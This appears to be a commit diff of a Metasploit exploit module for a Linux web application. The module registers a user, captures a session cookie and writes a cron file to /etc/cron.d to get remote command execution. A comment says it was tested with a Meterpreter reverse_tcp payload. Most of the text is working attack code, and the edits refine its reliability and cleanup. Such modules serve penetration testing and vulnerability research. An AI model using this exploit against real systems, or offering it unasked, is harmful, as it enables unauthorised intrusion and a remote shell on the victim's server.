11class MetasploitModule < Msf ::Exploit ::Remote
22 Rank = ExcellentRanking
33 include Msf ::Exploit ::Remote ::HttpClient
4+ include Msf ::Exploit ::FileDropper
45 prepend Msf ::Exploit ::Remote ::AutoCheck
56
67 def initialize ( info = { } )
@@ -36,16 +37,15 @@ def initialize(info = {})
3637 {
3738 'Arch' => [ ARCH_CMD ] ,
3839 'Platform' => [ 'linux' ] ,
39- 'DefaultOptions' => {
40- 'FETCH_COMMAND' => 'CURL' ,
41- 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp'
42-
43- } ,
40+ # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
4441 'Type' => :unix_cmd
4542 }
4643 ]
4744 ] ,
4845 'DefaultTarget' => 0 ,
46+ 'DefaultOptions' => {
47+ 'WfsDelay' => 75
48+ } ,
4949 'Notes' => {
5050 'Stability' => [ CRASH_SAFE ] ,
5151 'Reliability' => [ EVENT_DEPENDENT ] ,
@@ -66,18 +66,12 @@ def initialize(info = {})
6666 end
6767
6868 def check
69- begin
70- res = send_request_cgi ( {
71- 'method' => 'GET' ,
72- 'uri' => normalize_uri ( target_uri . path , 'api/server' )
73- } )
74- rescue ::Rex ::ConnectionRefused , ::Rex ::HostUnreachable , ::Rex ::ConnectionTimeout , ::Rex ::ConnectionError
75- return CheckCode ::Unknown
76- end
69+ res = send_request_cgi ( {
70+ 'method' => 'GET' ,
71+ 'uri' => normalize_uri ( target_uri . path , 'api/server' )
72+ } )
7773
78- unless res && res . code == 200
79- return CheckCode ::Unknown
80- end
74+ return CheckCode ::Unknown unless res && res . code == 200
8175
8276 data = res . get_json_document
8377 version = data [ 'version' ]
@@ -121,7 +115,8 @@ def execute_command(cmd)
121115 # not quite necessary to check for this, since we exit all cases that are not 200 below, but this is a common error
122116 # to run into when this module is executed more than once without updating the provided email address
123117 if res . code == 400 && res . to_s . include? ( 'Unique index or primary key violation' )
124- fail_with ( Failure ::UnexpectedReply , 'Error: The same E-mail already exists on the system: ' + res . to_s )
118+ vprint_status ( res . to_s )
119+ fail_with ( Failure ::UnexpectedReply , 'Error: The same E-mail already exists on the system' )
125120 end
126121
127122 unless res . code == 200
@@ -130,7 +125,7 @@ def execute_command(cmd)
130125
131126 json = res . get_json_document
132127
133- unless json . key? ( 'name' ) && json [ 'name' ] == datastore [ 'USERNAME' ] && json . key? ( 'email' ) && json [ 'email' ] == datastore [ 'EMAIL' ]
128+ unless json . dig ( 'name' ) == datastore [ 'USERNAME' ] && json . dig ( 'email' ) == datastore [ 'EMAIL' ]
134129 fail_with ( Failure ::UnexpectedReply , 'Received unexpected reply:\n' + json . to_s )
135130 end
136131
@@ -149,19 +144,15 @@ def execute_command(cmd)
149144 fail_with ( Failure ::Unreachable , 'Failed to receive a reply from the server.' )
150145 end
151146
152- raw_res = res . to_s
153- unless raw_res =~ /JSESSIONID=([^;]+)/
154- fail_with ( Failure ::UnexpectedReply , 'JSESSIONID not found.' )
155- end
147+ jsessionid = res . get_cookies . scan ( /JSESSIONID=([^;]+)/ ) . flatten [ 0 ]
148+ fail_with ( Failure ::UnexpectedReply , 'JSESSIONID not found.' ) unless jsessionid
149+ vprint_status ( "JSESSIONID: #{ jsessionid } " )
156150
157151 json = res . get_json_document
158- unless res . code == 200 && json . key? ( 'name' ) && json [ 'name' ] == datastore [ 'USERNAME' ] && json . key? ( 'email' ) && json [ 'email' ] == datastore [ 'EMAIL' ]
152+ unless res . code == 200 && json . dig ( 'name' ) == datastore [ 'USERNAME' ] && json . dig ( 'email' ) == datastore [ 'EMAIL' ]
159153 fail_with ( Failure ::UnexpectedReply , 'Received unexpected reply:\n' + json . to_s )
160154 end
161155
162- jsessionid = ::Regexp . last_match ( 1 )
163- vprint_status ( "JSESSIONID: #{ jsessionid } " )
164-
165156 name_v = Rex ::Text . rand_text_alphanumeric ( 16 )
166157 unique_id_v = Rex ::Text . rand_text_alphanumeric ( 16 )
167158
@@ -187,7 +178,7 @@ def execute_command(cmd)
187178
188179 json = res . get_json_document
189180
190- unless res . code == 200 && json . key? ( 'name' ) && json [ 'name' ] == name_v && json . key? ( 'uniqueId' ) && json [ 'uniqueId' ] == unique_id_v && json . key? ( 'id' )
181+ unless res . code == 200 && json . dig ( 'name' ) == name_v && json . dig ( 'uniqueId' ) == unique_id_v && json . key? ( 'id' )
191182 fail_with ( Failure ::UnexpectedReply , 'Received unexpected reply:\n' + json . to_s )
192183 end
193184
@@ -245,6 +236,8 @@ def execute_command(cmd)
245236 'data' => body
246237 )
247238
239+ register_file_for_cleanup ( "/etc/cron.d/#{ cronfn } \" " )
240+
248241 unless res
249242 fail_with ( Failure ::Unreachable , 'Failed to receive a reply from the server.' )
250243 end
@@ -255,8 +248,5 @@ def execute_command(cmd)
255248
256249 # It takes up to one minute to get the cron job executed; need to wait as otherwise the handler might terminate too early
257250 print_status ( 'Cronjob successfully written - waiting for execution...' )
258- sleep ( 60 )
259-
260- print_status ( 'Exploit finished, check thy shell.' )
261251 end
262252end
0 commit comments